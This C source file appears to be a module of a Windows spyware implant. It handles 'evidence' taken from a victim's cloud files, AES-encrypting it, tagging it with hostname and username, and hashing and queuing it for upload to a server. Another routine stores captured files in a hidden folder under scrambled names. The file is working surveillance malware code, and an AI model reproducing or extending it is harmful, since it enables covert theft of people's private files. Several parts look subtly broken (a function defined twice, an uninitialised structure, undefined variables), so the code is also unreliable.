#include <Windows.h>
#include "globals.h"
#include "log_cloudfile.h"
#include "proto.h"
#include "zmem.h"
#include "aes.h"
#include "sha1.h"
#include "utils.h"
#include "crypt.h"


aes_context crypt_ctx;
LOG_CLOUD_ENTRY_STRUCT g_log_table[MAX_LOG_ENTRIES];


//add an entry to a logfile
BOOL LogCloud_ReportLog(DWORD agent_tag, BYTE *buff, DWORD buff_len)
{
	LPBYTE lpcEvBuffer=NULL;
	DWORD  dwEvSize;
	
	//encrypt the buffer
	lpcEvBuffer = PackEncryptEvidence(buff_len, buff, agent_tag, NULL, 0, &dwEvSize);
	znfree((LPVOID*)&buff);

	if(lpcEvBuffer == NULL)
		return LC_E_GENERIC;

	return LogCloud_QueueLog(agent_tag, lpcEvBuffer, dwEvSize);
}


//add a log to the log queue
BOOL LogCloud_QueueLog(DWORD agent_tag, BYTE *buff, DWORD buff_len)
{
	//check the size of the log buffer
	if(LogCloud_IsBufferFull(buff_len))
	{
		znfree(&buff);
		return LC_E_BUFFER_FULL;
	}

	for(int i=0; i<MAX_LOG_ENTRIES; i++)
	{
		if(g_log_table[i].dwSize == 0 || g_log_table[i].lpBuffer == NULL)
		{
			g_log_table[i].dwSize	= buff_len;
			g_log_table[i].lpBuffer	= buff;

			return LC_E_SUCCESS;
		}
	}

	#ifdef _DEBUG
	OutputDebugString(L"[!] Log buffer is full!");
	#endif	

	//delete the enctypted buffer
	znfree((LPVOID*)&buff);

	return LC_E_BUFFER_FULL;
}


//check if the structure has enough free bytes to tore the new evidence
BOOL LogCloud_IsBufferFull(DWORD dwNewEvidenceSize)
{
	DWORD dwTotSize=0, i;

	//loop to get the total size of the saved evidences
	for(i=0, dwTotSize=0; i<MAX_LOG_ENTRIES; i++)
		dwTotSize += g_log_table[i].dwSize;

	#ifndef H4DLL_EXPORTS
		if((dwTotSize + dwNewEvidenceSize) > MAX_CLOUD_FILE_SIZE)
		{
			#ifdef _DEBUG
				OutputDebugString(L"\r\n[LOG] The log buffer is FULL\r\n");				
				OutputDebugString(L"\r\n");
			#endif

			return TRUE;
		}
	#endif

	return FALSE;
}


//copy the file content in the log buffer
BOOL LogCloud_CopyFile(PGD_FILE pCloudFile, DWORD agent_tag)
{
	DWORD dwRet = 0;

	//vede se la dimensione e' consistente
	if (pCloudFile->dwFileSize == 0) 
		return LC_E_GENERIC;
	
	// Effettua la vera copia.	
	//if(LogCloud_CryptCopyBuffer(pCloudFile, agent_tag) != LC_E_SUCCESS) 
	return (LogCloud_CryptCopyBuffer_Hash(pCloudFile, agent_tag));
}


LPBYTE LogCloud_EncryptPayload(LPBYTE pIn, DWORD *pdwSize, DWORD dwChunkSize)
{
	DWORD i, dwEncLen=0, dwPayloadSize=0, dwAlignedChunk=0, dwExtraBytes=1024;

	if(pdwSize == NULL)
		return NULL;

	if(*pdwSize == 0)
		return NULL;

	if(pIn == NULL)
		return NULL;

	//align the size of the buffer
	DWORD dwAlignedSize = Align(*pdwSize, 16);
	dwAlignedChunk		= Align(dwChunkSize, 16);

	//add extra bytes to avoid reallocs (for each encrypt function call, 4 bytes are added to store the block len)
	LPBYTE pPayload = (LPBYTE)zalloc(dwAlignedSize + dwExtraBytes);
	if(pPayload == NULL)
		return NULL;

	LPBYTE pEncBuf=NULL, pChunk=NULL, pTmp=NULL;

	pChunk = pIn;
	pTmp   = pPayload;

	pEncBuf = (LPBYTE)malloc(dwAlignedChunk);
	if(pEncBuf == NULL)
	{
		znfree(&pPayload);
		return NULL;
	}

	//loop to encrypt the buffer according to the chunk size
	for(i=0, dwPayloadSize; i<*pdwSize; i+=dwAlignedChunk)
	{
		RtlSecureZeroMemory(pEncBuf, dwAlignedChunk);

		if((i + dwAlignedChunk) > *pdwSize)
		{			
			memcpy(pEncBuf, pChunk, (*pdwSize - i));

			dwAlignedChunk = Align((*pdwSize - i), 16);
		}
		else
			memcpy(pEncBuf, pChunk, dwAlignedChunk);		

		if((dwPayloadSize+dwAlignedChunk+4) > (dwAlignedSize+dwExtraBytes)) //4 bytes are for the size of the enctypted chunk (for each chunk)
		{
			//realloc the buffer
			dwAlignedSize = Align(dwPayloadSize+dwAlignedChunk, 16);

			if(LogCloud_ReallocBuf(&pPayload, dwAlignedSize+dwExtraBytes) != LC_E_SUCCESS)
			{
				znfree(&pPayload);
				znfree(&pEncBuf);
				return NULL;
			}

			pTmp  = pPayload;
			pTmp += dwPayloadSize;
		}

		//encrypt the buffer
		Encrypt(pEncBuf, dwAlignedChunk, pLogKey, PAD_NOPAD);

		*(LPDWORD)pTmp = dwAlignedChunk;
		pTmp += sizeof(DWORD);

		//copy the encrypted buffer to the payload
		memcpy(pTmp, pEncBuf, dwAlignedChunk);		

		pTmp	+= dwAlignedChunk;
		pChunk  += dwAlignedChunk;

		dwPayloadSize += (dwAlignedChunk + sizeof(DWORD));
	}
	
	//free mem
	znfree(&pEncBuf);

	*pdwSize = dwPayloadSize;

	return pPayload;
}


//copy the evidence packet and hash it so when the evidence is sent, no new buffer must be allocated again.
BOOL LogCloud_CryptCopyBuffer_Hash(PGD_FILE pCloudFile, DWORD agent_tag)
{
	pFileAdditionalData pAdditionalData=NULL;
	LPBYTE pBuf=NULL, pcHeaderData=NULL, pcEncHeader=NULL, pcPayload=NULL;
	DWORD  dwHeaderLen=0, dwPayloadSize=0, dwPacketSize=0, dwCmdSize=0, dwAlignedCmdSize=0;

	//check the buffer for available size
	if(LogCloud_IsBufferFull(pCloudFile->dwFileSize))
	{
		return LC_E_BUFFER_FULL;
	}
	
	dwPayloadSize = pCloudFile->dwFileSize;

	//encrypt the file buffer
	pcPayload = LogCloud_EncryptPayload(pCloudFile->pcFileBuf, &dwPayloadSize, CRYPT_COPY_BUF_LEN);	
	if(pcPayload == NULL)
		return LC_E_GENERIC;	
	znfree(&pCloudFile->pcFileBuf);

	//create the header to write in the file buffer
	pcHeaderData = (LPBYTE)malloc(sizeof(FileAdditionalData) + wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR));
	if(pcHeaderData == NULL)
	{
		znfree(&pcPayload);
		return LC_E_ALLOC;
	}

	//create the log header
	pAdditionalData					= (pFileAdditionalData)pcHeaderData;
	pAdditionalData->uVersion		= LOG_FILE_VERSION;
	pAdditionalData->uFileNameLen	= wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR);

	//copy the struct info to the header buffer
	memcpy(pAdditionalData+1, pCloudFile->pwszFileName, pAdditionalData->uFileNameLen);
	//create the log header (size + hostname + username + additional data) all encrypted but the first DWORD
	pcEncHeader = CreateLogHeader(agent_tag, pcHeaderData, pAdditionalData->uFileNameLen + sizeof(FileAdditionalData), &dwHeaderLen);
	znfree(&pcHeaderData);

	if(pcEncHeader == NULL)
	{
		znfree(&pcPayload);		
		return LC_E_GENERIC;
	}

	//size of the packet
	dwPacketSize = sizeof(DWORD) + dwHeaderLen + dwPayloadSize; //size of the evidence packet
	dwCmdSize	 = sizeof(DWORD) + dwPacketSize + 20;		    //size of the hashed cmd to send to server

	//align the size
	dwAlignedCmdSize = dwCmdSize;
	if(dwAlignedCmdSize % 16)
		dwAlignedCmdSize += 16 - (dwAlignedCmdSize % 16);
	else
		dwAlignedCmdSize += 16;

	//generate the packet
	LPBYTE pcPacket=NULL, pTmp=NULL;
	
	pcPacket = (LPBYTE)zalloc(dwAlignedCmdSize);
	if(pcPacket == NULL)
	{
		znfree(&pcPayload);
		znfree(&pcEncHeader);
		return LC_E_GENERIC;
	}

	pTmp = pcPacket;

	//command
	*(LPDWORD)pTmp = (DWORD)PROTO_EVIDENCE;
	pTmp += sizeof(DWORD);

	//packet size
	*(LPDWORD)pTmp = (DWORD)dwPacketSize;
	pTmp += sizeof(DWORD);

	//header
	memcpy(pTmp, pcEncHeader, dwHeaderLen);
	znfree(&pcEncHeader);
	pTmp += dwHeaderLen;

	//payload
	memcpy(pTmp, pcPayload, dwPayloadSize);
	znfree(&pcPayload);
	pTmp += dwPayloadSize;

	//hash the packet
	BYTE pSha1Digest[20];
	CalculateSHA1(pSha1Digest, pcPacket, dwCmdSize-20);
	memcpy(pTmp, pSha1Digest, 20);

	#ifdef _DEBUG
		OutputDebugString(L"\r\n[LOG] Logging cloud file\r\n");
		OutputDebugString(pCloudFile->pwszFileName);
		OutputDebugString(L"\r\n");
	#endif

	//queue the log with the cmd size and not the aligned size
	//because the SendEvidence_Encrypt have to encrypt the buffer content with that size.
	//The encryption cannot be done here because the session key is different for every sync
	return LogCloud_QueueLog(agent_tag, pcPacket, dwCmdSize);
}


//copy the log buffer obfuscating it
BOOL LogCloud_CryptCopyBuffer(PGD_FILE pCloudFile, DWORD agent_tag)
{
	pFileAdditionalData pAdditionalData=NULL;
	LPBYTE pcHeaderData=NULL, pcEncHeader=NULL,  pcPayload=NULL;
	DWORD  dwHeaderLen=0, dwPayloadSize=0, dwPacketSize=0;

	//check the buffer for available size
	if(LogCloud_IsBufferFull(pCloudFile->dwFileSize))
	{
		return LC_E_BUFFER_FULL;
	}
	
	dwPayloadSize = pCloudFile->dwFileSize;

	//encrypt the file buffer
	pcPayload = LogCloud_EncryptPayload(pCloudFile->pcFileBuf, &dwPayloadSize, CRYPT_COPY_BUF_LEN);
	if(pcPayload == NULL)
		return LC_E_GENERIC;
	znfree(&pCloudFile->pcFileBuf);

	//create the header to write in the file buffer
	pcHeaderData = (LPBYTE)malloc(sizeof(FileAdditionalData) + wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR));
	if(pcHeaderData == NULL)
	{
		znfree(&pcPayload);
		return LC_E_ALLOC;
	}

	//create the log header
	pAdditionalData					= (pFileAdditionalData)pcHeaderData;
	pAdditionalData->uVersion		= LOG_FILE_VERSION;
	pAdditionalData->uFileNameLen	= wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR);

	//copy the struct info to the header buffer
	memcpy(pAdditionalData+1, pCloudFile->pwszFileName, pAdditionalData->uFileNameLen);
	//create the log header (size + hostname + username + additional data) all encrypted but the first DWORD
	pcEncHeader = CreateLogHeader(agent_tag, pcHeaderData, pAdditionalData->uFileNameLen + sizeof(FileAdditionalData), &dwHeaderLen);
	znfree(&pcHeaderData);

	if(pcEncHeader == NULL)
	{	
		znfree(&pcEncHeader);
		znfree(&pcPayload);
		return LC_E_GENERIC;
	}

	//size of the packet
	dwPacketSize = sizeof(DWORD) + dwHeaderLen + dwPayloadSize;

	//generate the packet
	LPBYTE pcPacket=NULL, pTmp=NULL;
	
	pcPacket = (LPBYTE)malloc(dwPacketSize);
	pTmp = pcPacket;

	//packet size
	*(LPDWORD)pTmp = (DWORD)dwPacketSize;
	pTmp += sizeof(DWORD);

	//header
	memcpy(pTmp, pcEncHeader, dwHeaderLen);
	znfree(&pcEncHeader);
	pTmp += dwHeaderLen;	

	//payload
	memcpy(pTmp, pcPayload, dwPayloadSize);
	znfree(&pcPayload);

	//queue the log
	return LogCloud_QueueLog(agent_tag, pcPacket, dwPacketSize);
}

/*
//copy the log buffer obfuscating it - working
BOOL LogCloud_CryptCopyBuffer(PGD_FILE pCloudFile, DWORD agent_tag)
{
	FileAdditionalData *file_additiona_data_header=NULL;
	LPBYTE pBuf=NULL;
	LPBYTE file_additional_data=NULL;
	LPBYTE log_file_header=NULL, pTmpBuf=NULL;
	WCHAR  *to_display=NULL;
	DWORD  dwHeaderLen=0;

	LPBYTE pEncBuf = NULL;
	DWORD  dwCopiedSize=0, dwEncLen=0, i, dwWrSize, dwChunkSize;
	BOOL   bErr = FALSE;


	//check the size of the log buffer
	if(LogCloud_IsBufferFull(pCloudFile->dwFileSize))
	{
		return FALSE;
	}

	to_display = pCloudFile->pwszFileName;

	//create the header to write in the file buffer
	if(!(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR))))
		return FALSE;

	file_additiona_data_header = (FileAdditionalData*)file_additional_data;
	file_additiona_data_header->uVersion = LOG_FILE_VERSION;
	file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR);
	memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen);

	//enctypt the evidence
	pEncBuf = PackEncryptEvidence(pCloudFile->dwFileSize, 
								  pCloudFile->pcFileBuf, 
								  agent_tag, 
								  file_additional_data, 
								  file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), 
								  &dwEncLen);

	//free mem
	znfree(&pCloudFile->pcFileBuf);
	
	if(bErr == TRUE)
	{
		znfree(&pEncBuf);
		return FALSE;
	}

	//queue the log
	return LogCloud_QueueLog(agent_tag, pEncBuf, dwEncLen);
}
*/

/*
// Formatta il buffer per l'invio di un log
// Non usa PrepareCommand per evitare di dover allocare due volte la dimensione del file
LPBYTE LogCloud_PrepareBuffer(LPBYTE lpBuf, DWORD *pdwBufLen)
{
	SHA1Context sha;
	DWORD tot_len, pad_len, i;
	BYTE *buffer, *ptr;
	aes_context crypt_ctx;
	DWORD msg_len, bytes_left;
	BYTE iv[16];
	DWORD command = PROTO_EVIDENCE;
	HANDLE hfile;
	DWORD n_read;
	DWORD rand_pad_len = 0;

//	if(pdwBufLen)
//		*pdwBufLen = 0;

	rand_pad_len = (rand()%15)+1;

	msg_len = *pdwBufLen;

	//round size
	pad_len = tot_len = sizeof(DWORD)*2 + msg_len + SHA_DIGEST_LENGTH;
	tot_len/=16;
	tot_len++;
	tot_len*=16;
	pad_len = tot_len - pad_len;

	// alloca il buffer
	if(!(buffer = (BYTE *)malloc(tot_len + rand_pad_len))){
		CloseHandle(hfile);
		return NULL;
	}

	// scrive il buffer
	memset(buffer, pad_len, tot_len);
	ptr = buffer;
	memcpy(ptr, &command, sizeof(DWORD));
	ptr += sizeof(DWORD);
	memcpy(ptr, &msg_len, sizeof(DWORD));
	ptr += sizeof(DWORD);

	// copia il contenuto del file
	lpBuf += 4;
	memcpy(ptr, lpBuf, msg_len);

	//bytes_left = msg_len;
	//while (bytes_left > 0) {
	//	if (!ReadFile(hfile, ptr, bytes_left, &n_read, NULL) || n_read==0) {
	//		CloseHandle(hfile);
	//		return NULL;
	//	}
	//	ptr += n_read;
	//	bytes_left -= n_read;
	//}
	//CloseHandle(hfile);

	// Calcola lo sha1 sulla prima parte del buffer
	SHA1Reset(&sha);
	SHA1Input(&sha, buffer, sizeof(DWORD)*2 + msg_len);
	if (!SHA1Result(&sha)) {
		free(buffer);
		return NULL;
	}
	// ..lo scrive
	for (i=0; i<5; i++)
		sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]);
	memcpy(ptr, sha.Message_Digest, sizeof(sha.Message_Digest));

	// cifra il tutto
	aes_set_key( &crypt_ctx, (BYTE *)pSessionKey, 128);
	memset(iv, 0, sizeof(iv));
	//aes_cbc_encrypt(&crypt_ctx, iv, buffer, buffer, tot_len);
	aes_cbc_encrypt_pkcs5(&crypt_ctx, iv, buffer, buffer, tot_len);
	//rand_bin_seq(buffer + tot_len, rand_pad_len);
	AppendRandomData(buffer + tot_len, rand_pad_len);

	if(pdwBufLen)
		*pdwBufLen = tot_len + rand_pad_len;

	return buffer;
}
*/


//realloc a buffer
BOOL LogCloud_ReallocBuf(LPBYTE *pOldBuf, DWORD dwNewSize)
{
	LPBYTE pTmp = NULL;

	//realloc the dest buffer to contain the new chunk
	pTmp = *pOldBuf;
	*pOldBuf = (LPBYTE)realloc(*pOldBuf, dwNewSize);
	if(*pOldBuf == NULL)
	{
		znfree(&pTmp);
		return LC_E_ALLOC;
	}

	return LC_E_SUCCESS;
}

#ifdef H4DLL_EXPORTS

DWORD LogCloud_WCharToMB(LPWSTR pIn, LPSTR* pOut)
{
	DWORD dwSize;

	//return the number of chars needed by dest buffer
	dwSize = FNC(WideCharToMultiByte)(CP_ACP, 0, pIn, -1, 0, 0, 0, 0);
	if(dwSize == 0)
		return LC_CONV_ERROR;

	//alloc dest buffer
	*pOut = (LPSTR)zalloc(dwSize);
	if(*pOut == NULL)
		return LC_ALLOC_ERROR;

	//conversion
	dwSize = FNC(WideCharToMultiByte)(CP_ACP, 0, pIn, -1, *pOut, dwSize, 0 , 0);
	if(dwSize == 0)
		return LC_CONV_ERROR;

	return LC_SUCCESS;
}

//copy the log buffer obfuscating it
BOOL Log_CryptCopyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD agent_tag)
{
	HANDLE hsrc, hdst;
	BY_HANDLE_FILE_INFORMATION dst_info;
	DWORD existent_file_size = 0;
	DWORD dwRead;
	BYTE *temp_buff;
	BYTE *file_additional_data;
	BYTE *log_file_header;
	FileAdditionalData *file_additiona_data_header;
	DWORD header_len;
	WCHAR *to_display;

	if (display_name)
		to_display = display_name;
	else
		to_display = src_path;

	// Crea l'header da scrivere nel file
	if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR))))
		return FALSE;
	file_additiona_data_header = (FileAdditionalData *)file_additional_data;
	file_additiona_data_header->uVersion = LOG_FILE_VERSION;
	file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR);
	memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen);
	log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len);
	SAFE_FREE(file_additional_data);
	if (!log_file_header)
		return FALSE;
	
	// Prende le info del file destinazione (se esiste)
	hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
	if (hdst != INVALID_HANDLE_VALUE) {
		if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) {
			existent_file_size = dst_info.nFileSizeLow;
		}
		CloseHandle(hdst);
	}

	if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) {
		SAFE_FREE(log_file_header);
		return FALSE;
	}

	hsrc = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
	if (hsrc == INVALID_HANDLE_VALUE) {
		SAFE_FREE(log_file_header);
		SAFE_FREE(temp_buff);
		return FALSE;
	}

	// Controlla che ci sia ancora spazio per scrivere su disco
	if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) {
		SAFE_FREE(temp_buff);
		SAFE_FREE(log_file_header);
		CloseHandle(hsrc);
		return FALSE;
	}

	hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
	if (hdst == INVALID_HANDLE_VALUE) {
		SAFE_FREE(log_file_header);
		SAFE_FREE(temp_buff);
		CloseHandle(hsrc);
		return FALSE;
	}
	// Se il file e' stato sovrascritto (e con successo) restituisce la quota disco
	// recuperata.
	log_free_space += existent_file_size;

	// Scrive l'header nel file
	if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) {
		CloseHandle(hsrc);
		CloseHandle(hdst);
		SAFE_FREE(log_file_header);
		SAFE_FREE(temp_buff);
		return FALSE;
	}
	if (log_free_space >= header_len)
		log_free_space -= header_len;
	SAFE_FREE(log_file_header);
	FNC(FlushFileBuffers)(hdst);

	// Cicla finche riesce a leggere (e/o a scrivere)
	LOOP {
		dwRead = 0;
		if (!FNC(ReadFile)(hsrc, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) )
			break;
		// La Log_WriteFile sottrae la quota disco di ogni scrittura
		// Esce perche' quando il file da leggere e' finito dwRead e' 0
		// e Log_WriteFile ritorna FALSE se gli fai scrivere 0 byte
		if (!Log_WriteFile(hdst, temp_buff, dwRead))
			break;
	}

	SAFE_FREE(temp_buff);
	CloseHandle(hsrc);
	CloseHandle(hdst);
	return TRUE;
}


//Copy the file in the hidden folder, hashing del path.
//Files with the same hashed path are ovrewritten.
BOOL LogCloud_CopyFile(PGD_FILE pCloudFile, DWORD agent_tag)
{
	HANDLE hfile;
	BY_HANDLE_FILE_INFORMATION src_info, dst_info;
	char red_fname[100];
	char log_wout_path[_MAX_FNAME];
	char dest_file_path[DLLNAMELEN];
	char dest_file_mask[DLLNAMELEN];
	char *scrambled_name;
	nanosec_time src_date, dst_date;
	FILETIME time_nanosec;
	//SYSTEMTIME system_time;
	WIN32_FIND_DATA ffdata;
	HANDLE hFind = INVALID_HANDLE_VALUE;
	

	//Vede se la dimensione e' consistente
	if (pCloudFile->dwFileSize == 0) 
		return FALSE;
	
	// fa lo SHA1 del path in red_fname
	SHA1Context sha;
	SHA1Reset(&sha);
	SHA1Input(&sha, (const unsigned char *)pCloudFile->pwszFileName, (DWORD)(wcslen(pCloudFile->pwszFileName)*2));
	if (!SHA1Result(&sha)) 
		return FALSE;

	memset(red_fname, 0, sizeof(red_fname));
	for (int i=0; i<(SHA_DIGEST_LENGTH/sizeof(int)); i++) 
		sprintf(red_fname+(i*8), "%.8X", sha.Message_Digest[i]);

	// Vede se ha gia' catturato questo file...
	_snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "?LOGF%.4X%s*.log", agent_tag, red_fname);
	if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) 
		return FALSE;	
	HM_CompletePath(scrambled_name, dest_file_mask);
	SAFE_FREE(scrambled_name);
	hFind = FNC(FindFirstFileA)(dest_file_mask, &ffdata);
	if (hFind != INVALID_HANDLE_VALUE) {
		//...se l'ha gia' catturato usa il vecchio nome
		HM_CompletePath(ffdata.cFileName, dest_file_path);
		FNC(FindClose)(hFind);
	} else {
		// ...altrimenti gli crea un nome col timestamp attuale
		FNC(GetSystemTimeAsFileTime)(&time_nanosec);
		//FNC(SystemTimeToFileTime)(&system_time, &time_nanosec);	
		_snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "%.1XLOGF%.4X%s%.8X%.8X.log", log_active_queue, agent_tag, red_fname, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
		if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) 
			return FALSE;	
		HM_CompletePath(scrambled_name, dest_file_path);
		SAFE_FREE(scrambled_name);
	}

	// Prende le info del file destinazione (se esiste)
	hfile = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
	if (hfile != INVALID_HANDLE_VALUE) {
		if (!FNC(GetFileInformationByHandle)(hfile, &dst_info)) {
			CloseHandle(hfile);
			return FALSE;
		}
		CloseHandle(hfile);

		// Compara le date dei due file (evita riscritture dello stesso file)
		src_date.hi_delay = src_info.ftLastWriteTime.dwHighDateTime;
		src_date.lo_delay = src_info.ftLastWriteTime.dwLowDateTime;
		dst_date.hi_delay = dst_info.ftLastWriteTime.dwHighDateTime;
		dst_date.lo_delay = dst_info.ftLastWriteTime.dwLowDateTime;
		if (!IsGreaterDate(&src_date, &dst_date)) 
			return FALSE;
	}

	// Effettua la vera copia.
	if (!LogCloud_CryptCopyFile(src_path, dest_file_path, display_name, agent_tag)) 
		return FALSE;

	return TRUE;
}

#endif